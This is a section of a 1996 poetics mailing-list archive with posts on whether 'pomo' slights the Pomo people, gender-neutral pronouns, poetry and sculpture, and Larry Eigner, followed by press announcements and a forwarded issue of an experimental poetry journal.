that seems fully intent on splintering and recombining parts of speech and offering the result back to us as a subsidiary linguistic enterprise... for that matter, i'm all for poets, scholars, etc., working with the stuff of language as they see fit, but i would hope to find here a somewhat different sensibility and orientation, one more conditioned by sensitivities toward history, social context, and affect... it's obvious that we're likely to wrench apart (and wrench together) cultural heritages in some strange and unintended ways whatever we do, simply b/c words carry that sort of historical baggage... but i ask again: if we are confronted with reasonable evidence that a term of recent origin has in fact inadvertently, and homophonically, stumbled across the living heritage of a marginalized group, what is the harm in trying to attend to this by altering our usage?...

joe

↑ Index

205. **Thomas Bell**

Re: neut gender

Tue 6 Feb 1996

Watching Gulliver last night it occured to me that appropriate pronouns might be horse and/or yahoo?

On Tue, 6 Feb 1996, Willa Jarnagin wrote:

> *On Mon, 5 Feb 1996, Dan Raphael Dlugonski wrote:*
>
> *i could live with ze. but reading your and other comments sparked in memory banks a simpler idea--'e' (which could or could not be capitalized). this puts 3rd person on equal footing with 1st (and 2nd person just being a more complex spelling of another vowel, we have some consistency among the pronouns)) with*
> *'es' as the possessive form.*
>
> *There *is* a movement to foster gender-neutral pronouns, for the reasons you cite as well as others. Transgender activists and artists are using "ze" in place of she, he, or s/he and "hir" instead of his or hers. Forthcoming from High Risk is a novel by lesbian transsexual performance artist Kate Bornstein that makes use of these terms, and they've also appeared in a number of queer zines/newspapers. The new words appeal to me not only in that one might use them when referring to "many people in the third person singular," but when referring to one person whose gender is ambiguous/flexible/intentionally indeterminate/etc. The problem? "Ze" looks weird. On the other hand, so did/does "Ms."*
>
> *emily*

> *I like this mixing up of pronouns; in fact I think we should mix them up more. Eventually a few will be sifted out and used more commonly, and in the meantime, figuring out the words will make people think.*
> *I vote for "ze" myself. "e" sounds too much like he, especially as h's are dropped in many dialects. Hearing "e" I think of my friend from Fall River who pronounced "human" "yooman".*
>
> *Willa*

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206. **Henry Gould**
neut gender
Tue 6 Feb 1996

---

these pronouns might engender some dialogue:
wha? and huh? (choose your affiliation)

as in the famous hymnher:
YAHWEH WHO?

Wha? took off whe? pith helmet,
huh? took off heh? suspenders,
said wha? to huh?
Cocoa, nut?
Said huh? wha you say?
Oh nuttin, hih? say wha?

(pronounced, of course, with a downward inflection) - HG

↑ Index

207. **Alan Sondheim**
Re: Pomo
Tue 6 Feb 1996

How is "pomo" linguistic appropriation? Who feels the need to protect a defenseless people? Should we not use "roam" because of Rome, "grease" because of Greece, "turkey" because of Turkey, etc.? Should we finally purify our language - the nazis would have liked that, no? We can cleanse it of any homonyms.

"Pomo" has been used for postmodernism. It is also the name of a nation of Native Americans. So what? It's clear that the meanings are entirely different and certainly there is no intended or unintended slur one way or the other.

What I resent is this notion of purity that underlies the discussion.

Alan

(http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images at http://www.cs.unca.edu/~davidson/pix/)

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208. **Alan Sondheim**
Re: Pomo
Tue 6 Feb 1996

On Tue, 6 Feb 1996, Alan Sondheim wrote:

> *How is "pomo" linguistic appropriation? Who feels the need to protect a defenseless people? Should we not use "roam" because of Rome, "grease" because of Greece, "turkey" because of Turkey, etc.? Should we finally purify our language - the nazis would have liked that, no? We can cleanse it of any homonyms.*

(I want to make it clear that "defenseless people" is sarcastic here. Be- cause I think there is a level of paternalism in the whole discussion. If there were Pomo involved in this who felt it was a slur, it would be entirely different. And even then, it would be necessary to ascertain exactly where the slur lies.)

> *"Pomo" has been used for postmodernism. It is also the name of a nation of Native Americans. So what? It's clear that the meanings are entirely different and certainly there is no intended or unintended slur one way or the other.*
>
> *What I resent is this notion of purity that underlies the discussion.*
>
> *Alan*
>
> *(http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images at http://www.cs.unca.edu/~davidson/pix/)*

(http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images at http://www.cs.unca.edu/~davidson/pix/)

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209. **FUNKHOUSER CHRISTOPH**

Re: eigner

Tue 6 Feb 1996

---

* * * ANNOUNCEMENT * * *

The editors of the on-line poetics journal PASSAGES are preparing an issue dedicated to Larry Eigner. We are collecting remembrances, reflections, and correspondences, personal or philosophical, by persons acquainted with Larry's accomplishments and spirit.

We are soliciting tributes from non-email members of the poetics community, and ask that you spread word of our project to anyone who might be interested.

Contributions may be sent to PASSAGES c/o

[redacted]

or

Ben Friedlander, Dept. of English,
306 Clemens Hall, University at Buffalo
Amherst, NY 14260

We hope to hear from you,

Don Byrd
Ben Friedlander
Chris Funkhouser
Belle Gironda

editors

↑ Index

210. **Joe Amato**

Re: Pomo

Tue 6 Feb 1996

---

alan, purity?... who's talking purity?... you're quite correct in pointing out that there are other similar homonyms, such as grease/greece... i mean, yeah, language works this way... i thought i indicated that i understood this much... who doesn't?... and who doesn't hope for a more hybrid reality?...

but this opens to a sort of critique of what it is constitutes hybridity in more political terms...

my point was that we *might consider* that the word *might* have a derogatory effect on an indigenous group, period.

i'm assuming, of course, that we all, all of us understand the degree to which native americans have suffered... that i seem to have ended up speaking *for* same doesn't make me feel all that comfortable... there's surely a presumption here on my part... but it's a presumption born of privilege---so my aim is to throw some doubt in the direction of those like mself who operate from this place of privilege often w/o a whole lot of critical intervention...

joe

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211. Charles Alexander
Re: We all break for laokoon
Tue 6 Feb 1996

There's a sculpture garden in St. Paul with poetry engraved on walkways and on sculpture, poems by poets from various local cultures. There's a bridge by Siah Armijani a few years old (I'm not exactly sure just how old) in Minneapolis from the Walker Art Center Sculpture Garden to Loring Park which includes a text by John Ashbery. There's language all over art a la Jenny Holzer, Barbara Kruger, and many more, some of these works being sculpture, some prints, more rarely (but sometimes) paintings. The book arts has an entire area of activity that is properly perceived as language sculpture or sculpture with language.

> *anybody know of any ties between poetry and sculpture lately?*
> *or poetry and painting, for that matter?*
> *poetry and rodeo?*
> *poetry and dance, poetry and music, poetry and tv, these seem kind of available now in a way that poetry and film, poetry and dogsledding, poetry and critique may be less available than they used to be..*
>
> *Jordan*

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212. Stephen Galen Cope
poetry & sculpture...
Tue 6 Feb 1996

Rachel Blau DuPlessis' 'Draft 22' in the latest Hambone (#12) takes impulse from the Philadelphia Wireman's sculptures, "found abandoned on a side street in Philadelphia on a trash night in 1982." The cover bears a photo of one such sculpture, and photos of three follow DuPlessis' draft...

-Stephen Cope

↑ Index

213. **Edward Foster**
Re: eigner
Tue 6 Feb 1996

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chris: i don't think jack foley out in oakland participates in this chatroom, but if not you should call him. he was very close to larry eigner in recent years, and eigner was very enthusiastic about jack's work.

↑ Index

214. **Schuchat**
Re: Pomo
Tue 6 Feb 1996

---

not that I see any reason to abandon the term Pomo despite its semantic overlap, but Alan Sondheim's counterexample of the word "turkey" reminds me that, in Japanese, "Turkish" (Turuko) used to be the word for massage parlor (in the 42nd St sense) but, after complaints from the Turkish government, there was a universal name change and now such establishments are known in Japanese as "Soapland" (sopurando).

↑ Index

215. **Joseph Zitt**
Re: Pomo
Tue 6 Feb 1996

On 6 Feb 96 at 20:24, Maria Damon wrote:

> *If there*
> *were a similar word "Juden" being used in Germany to designate some*
> *theoretical humanistic position or aesthetic, you better believe i'd be*
> *beside myself with rage, and no fancy self-protective intellectualizing by*
> *the sons and daughters of the victors would convince me not to be. why is it*
> *so hard to see mark's and joe's point?*

Well, I was surprised and dismayed upon moving down here to Texas, that there *are* still people who use "jew" as a verb.

But I'm not sure that the "Pomo" situation is a parallel -- do any of the list members in English feel that way about the term "english" wrt tennis ball spin?
---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted]
===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage

Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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216. **Tom Beard**

Re: neut gender

Tue 6 Feb 1996

> *a simpler idea--'e' (which could or could not be capitalized). this puts 3rd person on equal footing with 1st (and 2nd person just being a more complex spelling of another vowel, we have some consistency among the pronouns))*

i.e.:

I, you, e,
I O U
E I E I O

Tom Beard

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://www.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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217. **Loss Glazier**

EPC Press Listings

Tue 6 Feb 1996

EPC Press listings have recently been condensed. We're still working on improvements. Please contact me by direct mail with any corrections (or to remind me about a correction). It's taken some time to consolidate listings but we're making progress! Thanks for your patience ...

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218. **Eryque Gleason**

Re: Pomo

Tue 6 Feb 1996

> *Should we not use "roam" because of Rome, "grease" because of Greece, "turkey" because of Turkey, etc.?*

how do the italians, grecians, and turks (respectively) spell and pronounce the above?

eryque

↑ Index

219. Steve Carll
Re: We all break for laokoon
Tue 6 Feb 1996

At 10:03 AM 2/6/96 -0500, you wrote:
>anybody know of any ties between poetry and sculpture lately?
>or poetry and painting, for that matter?
>poetry and rodeo?
>poetry and dance, poetry and music, poetry and tv, these seem kind of
>available now in a way that poetry and film, poetry and dogsledding, poetry
>and critique may be less available than they used to be..
>
>Jordan

This reminded me of a commercial they were running a couple of years ago for some stupid piece of shit or other which featured two things that ostensibly "didn't go well together": poetry and power tools. There was a guy shouting his "poim" while drills, electric saws, etc. wailed away behind him. I thought they worked rather nicely together, actually. It obviously made a more effective impression in my mind than did the product; I can't even remember what it was anymore.

Steve

↑ Index

220. Marisa Januzzi
Re: Whee (no brake)
Tue 6 Feb 1996

Thanks Chris St*rffolino: Wld love to lay claim to the logopoeia/Loy claim; in fact it was Carolyn Burke who made the argument and she's RIGHT ("Getting Spliced," AMERICAN QUARTERLY, that's all I can supply... is the person who was looking for CB still looking? pls backchannel).

It doesn't take such an extra-ordinary critic to restore names to lit history. I say matches to all the strawmen of modernism. Lit history...

Look forward to the, um, use of Greenberg in David Lehman's forthcoming opus on the NY School.

bye for now-- Marisa

↑ Index

221. Maria Damon
Re: Pomo
Tue 6 Feb 1996

why not ask a Pomo Indian how e feels about the word being used to abbreviate postmodern? there's a lot of defensive wheelspinning and theoretical bristling at the suggestion that we be mindful of multiple meanings, some of which are the only fragments of tragic history remaining to us. If there were a similar word "Juden" being used in Germany to designate some theoretical humanistic position or aesthetic, you better believe i'd be beside myself with rage, and no fancy self-protective intellectualizing by the sons and daughters of the victors would convince me not to be. why is it so hard to see mark's and joe's point?
maria d

↑ Index

222. Sheila E. Murphy
Poetry & Sculpture, etc.
Tue 6 Feb 1996

> *anybody know of any ties between poetry and sculpture lately?*

Jordan, At the Scottsdale Center for the Arts Poetry Series, now in its ninth season, we regularly schedule (usually 3x/season) programs in which we commission poets and writers to create original texts in response to sculptural or other visual work. Central Park (in Issue 15, I believe) printed a piece called "6 X 6" that was a collaborative performance poem Beverly Carver and I wrote for one of those performances.

Sheila Murphy

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223. Kit Robinson
Ilya Kutik
Tue 6 Feb 1996

Alef Books announces the premier publication of

Ode
on Visiting the Belosaraisk Spit on the Sea of Azov

by Ilya Kutik

translated by Kit Robinson

"Ilya Kutik's Ode is a tour de force. . ."
-- Joseph Brodsky

". . . truly magnificent in both Russian and English."
-- Charles Simic

This bilingual edition of Kutik's 600-line Ode
with translator's preface and author's notes
is available from:

Small Press Distribution
1814 San Pablo Avenue
Berkeley, CA 94702
510/[redacted]

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224. **Janet Hoelle**
Re: Sun & Moon Website Is Now Open
Wed 7 Feb 1996

I browsed around your website just now, and am EXTREMELY interested in purchasing Lyn Hejinian's book, "Writing is an Aid to Memory." HOwever, the ordering service at your website was inacessible, at least from my terminal. Could you please let me know what I need to do to purchase it. Could I have it mailed to me, and pay for it by check or credit card? I wish I could order it from a bookstore, but I attend school in a small California town, and the one bookstore in town is ostensibly unable to order from Sun & Moon. (I checked on ordering Sun & Moon book once before) Please get back to me when you can, and thank you for releasing info. on your website.

NICOLE HOELLE

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225. **Rod Smith**
Re: We all break for laokoon
Wed 7 Feb 1996

Creeley wrote some very short pieces which were part of a series of sculptures in a public space in L.A. Sure someone out there knows the details, saw them in his Lannen video, quite beautiful.

Rod

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226. Ron Silliman
Re: Eigner
Wed 7 Feb 1996

Re your: "Hearing his reading of the work gave me a new sense of his use of line break and space -- not sure I can explain it, but I think I had been reading over the line breaks too quickly before"

It takes some remembering, but I think it's probably easy to see those clusters of words about the page in such a way as to interpret them as airy, even wispy, and I think that's an error a lot of people do make in reading Eigner. The minute one realizes how fully he utilized his limited physical vocabularly in order simply to put word to page, the whole weight of movement shifts, and those poems never have that "light" feeling again. I cannot fathom exactly how strangers will read that work a century from now, but I assume it will be rather different.

Ron

↑ Index

227. Charles Alexander
chax website
Wed 7 Feb 1996

It is very nice to hear about Sun & Moon's website, and I want to announce that a Chax Press website has been open for a few weeks now, although I consider it still very much in progress. It includes information on both the trade literary books and handmade editions from Chax, and has at present just a few links to other sites for poetry and book arts. It has an announcement of new books, a list of all books, a review essay reprinted from TapRoot Reviews, and a bit more. Within a few days it will have images of a few of the handmade, limited edition books from Chax, and an essay on the book arts. And of course it will be continually developing. More informational than sales-oriented, and there is at this time no on-line ordering service. The URL for the site is

http://www.bookarts.org/chax/

Also, books announced a couple of months ago here as forthcoming are now available:

Mary Margaret Sloan, The Said Lands, Islands, and Premises $11

Myung Mi Kim, The Bounty $12

charles alexander
chax press
box 19178

minneapolis, minnesota 55419
phone & fax [redacted]
email [redacted]

↑ Index

228. **Ron Silliman**

Vision Project #1

Wed 7 Feb 1996

Forwarded at Tom's request....

THE VISION PROJECT #1 Jan 96
Thomas Lowe Taylor, editor
inquiries & submissions encouraged
<[redacted]>
****
****

HEATHER THOMAS
[redacted]

Once it was possible to resist

you who are blissful in the shedding

the pull of street, river, wind

joys that give fragrance

a transparent crossing

moisture that flows from

where we are bits, motes, mud,

the inner plan the inner plan

hair dry as sticks

you who well up in your wounds

of beginning

****

HOSTAGE

Instead of seduction,
a metaphor
of hospitality, profusely

"ribbed leaves, funnel-shaped flowers."

I arrange the imaginary room of the other for a visit:
table, chair, air and light.

Sublime, you become an alpine lake

(when I open my eyes I fall)

The ground between traveling and home
not a walk across fields

but oscillation

between hope and fear, a woven folded

motion to a bridge
we struggle to reconcile such traffic.

****
PRELUDE

Light cuts the chair, lace slip
(if you love metaphor, you love the stand-in

cup with flared mouth
(toward the discernible, pursuing

no steady cake, a violent luck
(not looks, but states of feeling

face of crumpled paper
(on the fringe of

wings, gun shooting blanks
(responding to chance encounter

she, he
(belonging to you, subject to love and

death, mushroom, milk
(the ideal more beautiful

than the empty page this is
(the sentence that killed me

pear, inverted pyramid
(all metaphors fail out

of the body and besides
(writing the subject, aware of its lack

you cannot fall out of this).

****
****

JOHN M. BENNETT
137 Leland Av., Columbus OH 432l4

CHAOS

The wax chest sticking through clown emergence
crown floor heel's summit (through your wrist
(conclusion seems, lax unless the chicken glue
(your burning ribs))) filthy lucre "feints"
(encapsulation) "I'm that monkey"'s fist
infusion "someday writing" fat licking cougher
grill "John" plates of money, yeast shat,
"flailing at the keys"'

CORE

****

COULD

Played socks and spoons abomination clove of mildewed
closets full of coin your loins pull oscillation
few snowed grins you knew, splayed across the
rocks like moons of ammunition kicking through,
bricks float your (new throat resembles reassembles,
chanchres deep in thought like pulling ou the arms
or (anchors caught sleep in wood, arms without

I

****

INDEX

Bow to, absence, mons of speech the, lingers boil
(spore) starts up (heavy motors something) moving
out of the bowels like (noon abstraction, shouted)
reefs of fingered oil the, shore sharks every
shortened glove with (rings booming gouts
(reification clouds, growling

WRISTS

****

MOUNTAIN

Mounted stinks, streaky clay screen of avalanching
spurs cheek translation spit or seeing back-
ward desk of highways "of" what (pressures in the

lower towel meaty sinks the day means. Advancing
fur for leak transaction lists of pees the rest
regret your (thighing ways love requestors in the
tower's bowl. (Indication, roof of skin

THEORY

****
****

BUCK DOWNS
POB 50376/WDC 20091

(from) abortifacient

a popper and so the spirit
expires then next
when we breathe in it's stuff
like blankets and the soul
in the back
ground heavy
indwelling it's not so
profound to take you
inside via the lips
then expel myself
it's not even
an exception
experience demonstrates everything
will be swept clean
from the body and
its retainer
then pause and begin
another section of the container

****

the heart gives good head
to a stranger
squamous and this box
turn that
to good use
in quotes
as if we're leaving earth
don't it feel like that's what
hands of men were made for honey
turning

hypocritical
under the skin

****

a taste of that contumely
will do you up fine
and calumny and some slander
for me suits we take up
to mention and herbs for us to take
undoing the birth
of all our next thinking

****

next we took a train ride
didn't like it then we did
made up some ten-
minute chemicals
to leaven
the ride
separate each into
limbs and piles of thought
cross-down-when
this medicine
taste like cardboard
parts tht go numb
when we sleep
on them
the wrong way
then let's cook
our little honey
and wash it down with tea
steep a little bush
and we drink that too
to forget we ever
made nothing
grow up
inside you
and look what
it's done.

****

****

JIM LEFTWICH

[redacted]

SIGN

sign resin. words rotund the echoes
torment into doors archaic grace.
palm moist anchors flight. the single
touch her song, flesh recalls depths
silence tuned to lips. caught younger
the tongue. bridge of stars
writhing at the mouth.

  ~~~~~~~~~~~

light rising codes moist smoke.
boundaries cut in half. internal episodes
of bees. relapse of eludes. rain patterns
against the scorn, a gesture of formal
lingering. caves recede the tithes of dust.

****

  as horse is hearth so harm skates the ether
 eyelash taken in a thermal cup of breath
    from the breathing fountain to the pier of wallets
      king of the stick ball rock and backed by burial
 to the yankee crayon
 the carnal allure of fiction

we underline the lanterns
    the horrors gel in a land of bagels
      I will ride on iridescent will, witnessed by the wagon
      lack maintains the drain
  the street king masks the orifice
       hell is dressed to the moons!

between the bearded sky and the girdle of the carts
 the flowers of the dead bring saws and turds
        to the curtain of delicious baths

    trusting his ecstacy to the harvest
   falls from the maws of blessed

****

(piece in progress)

   screen holds whole mouths still light world
     becoming touch night enclosed where words
  stones
build
  ~~~~~~~~~~~

complete rocks moist command mingles smell
drawn told wombs
inwreathed mysterious
bed gods glory designs
other works
road goats brighten decides fountains cracked
mouth confines sea closed
silent
terrors weight
where wave awaits
blood silence grooms room bleeeds word fire decides

thoughts forever spoken rise

****
****
Gregory Vincent ST THOMASINO

USHIO SHO
homage to Ushio Amagatsu

distance
image
dance /

dance
image
painting /
(think / of a pre-historic / comes to mind)

drawn
other / than language
(as if / hid...) (other than / language)

cave
(I see it)

cave
(flat / splits / pro-jections / rock)
pass my eye

the painter
in the cave
(with the painter)

the painting
drawn
(memories / copy of the world))

images
(directly)

standing in the cave
face to face with (a) wild animal (s)
Me
(chases / watches / me chasing)
passing
Me
(distance)
Me
(sees / listens / seeing / to look)

(I)
recognize
(I)
react
(I)
stop seeing / to look
the cave

****
****

CRAIG CZURY
[redacted]

VANISHING POINT

between two hard consonants
resonance dissonance

I close my eyes

jack building a roof to his house

the length of this window

~~~~~~~~~~~~~~~~~~

I close my eyes

i'll carry these words between us
until) (

even the gender of words
at their vanishing point

vaso en arena

I hear your name in a story of the sea
~~~~~~~~~~~~~~~~~~

crematorium smoke against an incoming cold front

sky with no hair net

                no trampoline

****

AT THE MUSEO

he noticed there were birds so cocked the flick of a
match set them off (at this hour) as if

the trees
the grass
the stones
the river
the sleep
down
or across at this hour an oven door as if slammed everything
collapsed

houseuponhouseuponhouseup scavenged

out of dirt hills   corrugated tin
                cinderblock

  rivera
    kahlo
      trotsky

there is still one sultry woman in the air singing blu
es at this hour in filadelfia

sequieros death round voluptuous

orozco dancing with whores in the street
    brawling with drunks in the saloon
single-handed

somewhere I am at the center

                only the dead
cast no shadow
                (children of B movies and
crazy people)

yam
    yam flute ocarina
                turd

on calle garcia lorca in this dim light
between prayer and waking clear

****
****

JAKE BERRY

[redacted]

(from) Phasestrophes

He went down to himself
length of rope
and lake of sin
listening bone ironies
close enough to shoulder the animal
he'd carve from absolution

"Nothing's changed.
Did you think a few lightbulbs
and combustion engines could
dispel the hunt?"

carrion
suitcase
ritual condoms
seal mainline righteous
scraping his wounds -
mumbling
mumbling

down to himself
nothing eyelash ruse
coughing genitalia (the gesture's mnemonic)
lone and clean strung
sardonically breathes

****

PHASEOSTROPHE 68

beneath twin
gears and rope

the lights of
soul viscera
damn eloquence

windex colored gatorade
- what flavor is that?!

Sperm. Pox ruling. - funk! toe jam!
Leeched darkness.
- Thomas -
bread
in nested in the vines
Ethiopia. mouthful of blue clusters
prayed the fueling rock swung
off Scorpio

****

PHASEOSTROPHE 69

Maybe the isotopes
grey liege is pleading

but, as table realized,
impose
a rabid jackyl
burnt through orbit my eyes
leave
dyslocal
[note: repeat backwards by phrases]
or brown gnat
writhing
a relinquishing dance
grants the wings its nerve motion
a catalyst juice

****

PHASEOSTROPHE 70

Solomon rose from the flames

I suspected her, but didn't
want a confrontation for
fear she knew the gold I'd
hidden in the bull's hooves

questioning the origin
of such constructs
we mate the Lord in
transwarped fields
locating the levee in
an edit of grain

meggido bread cycles
and its flute summoned key

diffuse the cardinal angles
to grovel palpable void

****

PHASEOSTROPHE 71

Dawn propulsion
shadows charred red

Spent to miraculous Beelzebub
lines his face with flies courses
stript from heat's body surging
heavy as meat webbed
through oxygen

gamma
vessel

****

****

GUY BEINING
62-95 Saunders St 7B, Rego Park NY 11374

(from) Y

fire-croppers abound in the zodiac, so
prepare the way from bar of sand, or gold?

enormous end of
column falling
into revelations

revelations s-p-l-a-t-t-e-r
VOLUTION of
quark corked.

get out of this bed
of the had ready-made;
stick cloven hoof
thru shoulders;
bleed an open s u n r I s e .

EAR triggered to this
GLOBAL SPECK
tho the word is not carved right,
& is changed by an L line of things to come,
able on the tongue of some-
thing plainly put

without the paste to
make a good flight.

PITON ORION
SCION CANON

****

as far as the eYe could see the sun
would fall thru folds of sea flow.

marking headlights
on dew, puzzles
of a white boat.

agless questions clog
the stream, from
armpit to pulpit.
an arrow if disease
has entered scar tissue;
bubbles from tip of lip
disarms and rewarms
stages of the PULLEY
that is tossed from a LOOM.
maggots grease each step,
from pole to wing.

set eYe into
EAR, exploding
dOt of sound

peephOle blOwhOle
bunghOle hellhOle

****

2 stones betwiX
nite &
his X-ray.

go cast on light rafter
in passion of MUD
where sieve of creation
STILL IS,
& in seeing pike as
some long pickle,
pickerel,
WALLEYed monster of another lOOk,

gaze there & see
grizzledstump, or strep
of this new world in a heap.

phoenix stilled
greenness un-
twines in lOOps.

doggerel minstrel
cockerel pickerel

grieve from sleeve
in thievery of eve.

****

Stage 1

of what is life
on titled STAGE,
aged so in rust
& to constantly stare at;
no eYe to pull lens
apart: it is this vacuum
of the dark lid covered
that makes mime of
omnipresence bare shrugging
at here, & with cane
to tap at hollowness,
seeing the loss of landscape
that is made up of tinny knolls
one must adjust each line
to limbic system
as split cage holds head
from wobbling, & wherein
a minor bird reaches temple
to tap a line or 2
LIFE IS UNSURE,
IT ARRANGES ITSELF THAT WAY.

****

STAGE II

.warrant, in error of make-up
sentences like S T R I N G S pulled
so far out....the

reach is gone,
& then they SNAP.

from cortex to sea
of mind, plasm of ink
on brink of will,
this illness scrapes head,
as nite hangs over a
cliff of itself &
the mind like a wind
pushes outward, breaking
all branches of language.

painted wings skit
back & forth;
a force begins to
stain the brain.
in this exercise of color
a rounded sphere locks up
with the head & for a moment fits,
pulling one into a fitfall of otherness
..unutterable, IN PLURAL TEXT
ciphered herein as otiose,
DEADPAN,
NUGATORY, a gyp.

****

STAGE III

head gored with this view
of vision that bubbles thru
medulla oblongata & surfaces
into a dream that blinks
with chime-works of a counter clocl.

  vision etymon
  gnomon pinion
standing by a coat rack.

& hat rack,
a pencilled piece
the poet called a FRAMED STAND
where he hung his lines:
put a poll tax on
the tail of this poet:
let him lift past fringe of an opening-

1. sliced desk
& he waves, reaching a. portable pictures
b. stained words
for desk as if 2. torn papers
a. picture puzzle
it were a tilting b. framed torso
c. facial glow
POEMSCAPE 3. jarred decay
a. beige leak
what is to hatch b. curved lump
c. earth racks
in this breathless cup, d. burial heap

that for 1 gasp

fits over the mOuth?
****
****

SCOTT THURSTON
D.S. "Zaczek", Al. 3 Maja 5/239, 30-063 Krakow, Poland

determined branches
gripped in a posture of
strength attracted
strategy for light-catching
where breaks

open along that drive
pursued beyond
belief lingering heat
striving build
up again you in circles

(Warsaw-Krakow 20/5/95)

****

sleight of foot
where you hung
up traces
coax her to rest

solid glimpses
cultivation labour to wait

as a pearl grows
what rocks your skin

enlarged again
                gleaming over soil-spits

quarry-canteen

                hooking over to this

venture

        one sided figures gleam

(Warsaw 28/5/95)

****
****

JESSICA FREEMAN
PO Box 8095, Clinton LA 70722

Vanity unfair

jig off humble station
Mortal see Antonio Mora for reel
details
Aspen village piper'll pay? ski ute
tabula selenographica powdery Blue
snowfall ouvenir-light   ardoise
VE Day
north O Euston Station's bunnylope

killer graph REESKI
benchd bankd reel
*
Finland: Plucky Neighbor
            of Soviet Russia
darling Boris! have you my
getwell card..have Jean-Paul Gaultier
5th element..
are you quite well?

****

A Stevedore Choir

Mama St. Pierre
Prepares St. Joseph Altar
Lent
Past cowpea fields cowherd
Old Populist burden barriers

To sidestep thunderous
    impacted sky

finely
Balanced Enthusiasms surge
Ahead
      four moppets
      provide bushels O Theater
      give out lucky fava beans
      to guests

de bonne volonte
de bonne volonte

Humid air!
Festoon homeport South
                Louisiana

****

Fifth Republc danses rondes 1996

Insane brute cult noise &
Trash reflects hideous oak &
Tulip trees' bittercold snap

Salute   corrugations equidistant
Frame   Ecole Militaire Bastille

Just like Himbara
Dylan uses too damnmany the
I reread
THE FORCE THAT THROUGH
Green fuse drips drops gathers not

blank verse animistic'll
translate Honore de
Balzac

Jon is a bastard. A treed frieze.

****

in Asia Minor

his hacking jacket
dissuedes aide d camp out back
Mourning dove among ragpickers
rapists whoresluts beat
visionaries, rebels, and hipsters,1
maenads, centaurs, Heracles'

Labour, Stymphalian bird,
Moon visitation's kiss

Endymion the shepherd,
As his flock he guarded,
She, the Moon, Selene,
Saw him, loved him, sought him,2

seventeen degree chill due downs'll
repeat pay we all play we All
Chi Rho

an onion tart Temperance
a digestif Perserverance

a kiss.

1. Steven Watson, The Birth of the Beat Generation
2. Theocritus

****

January One

Bosnian pontoons reprise
Glen's Burning Bridges Only d Lone
creamy brie trashd tand pire
reread mt notes outta
A Chekhov:
  The Sinner from Toledo & Other
    Stories

re
freedom absolute. yellin maze.

Haricot'll awe TU LE TON SON TON
washboard
@ Dorval Airport's Gallic
                rabbinate (rabbinate
@ time's sq aluminum bylaw ball
   dropkickball

Resolutshun genderfree-dry-cleand
igitur
gaudeamus
checke it ninety-six
literally

****

Tone bodhisattva

Having employed natural
Emulsion egg yolk
Gesso panels' low viscosity follows
As planned Follows strong oils
Sensuous Veil'd model sits
Post nocaturnal
Her flesh to
Ply to draw
    out delicious unber ultra-
    marine ocher indigo non-
    photo blue
Gown vintage Mars black, gown
1951 down
  in back
alizarin crimson white violet
primary colours farewell blues
cadmium tall spike shoes mastic
turpentine linseed

Years late
I'll prepare
Damar varnish hairline fissure
To reveal underlying ground
spike shoes

    Manganese lead crack'd paint:

    appear, display Humanness

    Naples yellow zinc yellow

Mars black, gown zips
    down
to waist

****

Adohr goat milk

1/2 Gal party punch All-
purpos cream The Scarlet Letter

Dooms crypt/apse & onyx Algerian
&
Jesse Stuart's 1938 letter
to Oscar Sammons
* from Edinburgh

A flowering quince hobbleskirt'd
A Patroness install dung
Tesserae

nearby Maryland
hand left South Dakots
hang a right 11th street bridge
Bern train

fascile
apsidal

est-ce que vous avez des
                chambres?1

1. do you have any vacancies?

****

School O tomorrows'

hungruse bus electric blue
doublepark'd longside Platonic
Aesthetic this 22nd winter
Solstice

I send TT carnation evaporzoo
milk net 5fl oz (147 mL
nestle down mung Pacific
tyme

Idis awaits flug poste
open letter quotes turpentine's
linseed runnin blade cross
glass palette

buses roll gild Venetian
toilet mirrors catch swine
palace A Child's Christmas
            in Wales

neath hip
roof

****

Three In The Morn Winter

Christmas Eve Eve
Christmas Eve Eve

Winter
Winter solstice cuts the rug
Frost looms geometric
Frost is dancing
            dancing
         prancing
Look!
look!

our breath white rosettes!
our breath white rosettes!

Crystal morning
Rococo

Three fairy figures stampede
Three bareback riders
Sled
Look!
Look!

Facile dawn
        red red red
        red red

****
(A Room For The Little Ones)

        parc aux petits
sleep go to sleep mon petit
sleep go to sleep Minette kitten

        while you do I will dance
Gavotte with your father who gathered
Moss and trapped all week to buy
Accordion that soothes   when you
  cry
   sleep go to sleep mon petit babe
   sleep go to sleep Minette kitten
        precious soul here
 Room for angels till   musicians
Fire a shot into the dawn   crying
 Le bal est fini!
                fawn   I will
Gather you in my arms heading
En haut

Up the bayou
    triangle and violin

Over its bank river marches
        disparaitre disparaitre
        to melt away
****
****

BRETT EVANS
[redacted]

Blue Vinyl Green

        perhaps I'm in this a little
        deeper than thought
                babyCry
ripostes
        tussin bus honk   crutches
                cops
My child is A
My child is gravy bones

        new haircut close shave belies
fuzz on brain
            crick in cup
                follow the floor
        around the room

"when I meet my public"   you eat
                with a fork
hay now

        a favorite shirt no more
        more

****
****
<end #1>

↑ Index

229. Rachel Loden
the art and poetry worlds
Wed 7 Feb 1996

Jordan Davis wrote:

> *anybody know of any ties between poetry and sculpture lately?*
> *or poetry and painting, for that matter?*

Tying this into an ancient thread, I recently came across the following, which seems to say it all about the difference between the art and poetry worlds:

The Washington Post

November 2, 1994, Wednesday, Final Edition

HEADLINE: AT THE AUCTIONS

Artist/Title ..... Price ..... Estimate

TOP FIVE PRICES

.....

Jasper Johns, "Screenpiece #3 (The Sonnets)."

One of the handful of works offered by publishing magnate S.I. Newhouse, this esoteric canvas is inspired by the New York poetry of Ted Berrigan.

..... $ 662,500 ..... $ 600,000-$ 800,000

↑ Index

230. Jonathan A Levin
Re: We all break for laokoon
Wed 7 Feb 1996

Jordan et al--

Glad you asked--a friend of mine, Joan Levinson, has a show running now (through Feb 10, alas--Sat.) at the Nicholas Davies & Co. gallery, 23 Commerce St (b/t 7th Ave S and Bedford). She makes sculpture with found objects, w/ accompanying text. Texts are gnomic and delightful-- a poetic prose coming, in some ways, from Stein. I hope you get a chance to stop in--let me know if you do.

Jonathan Levin

↑ Index

231. David Kellogg
Re: Eigner
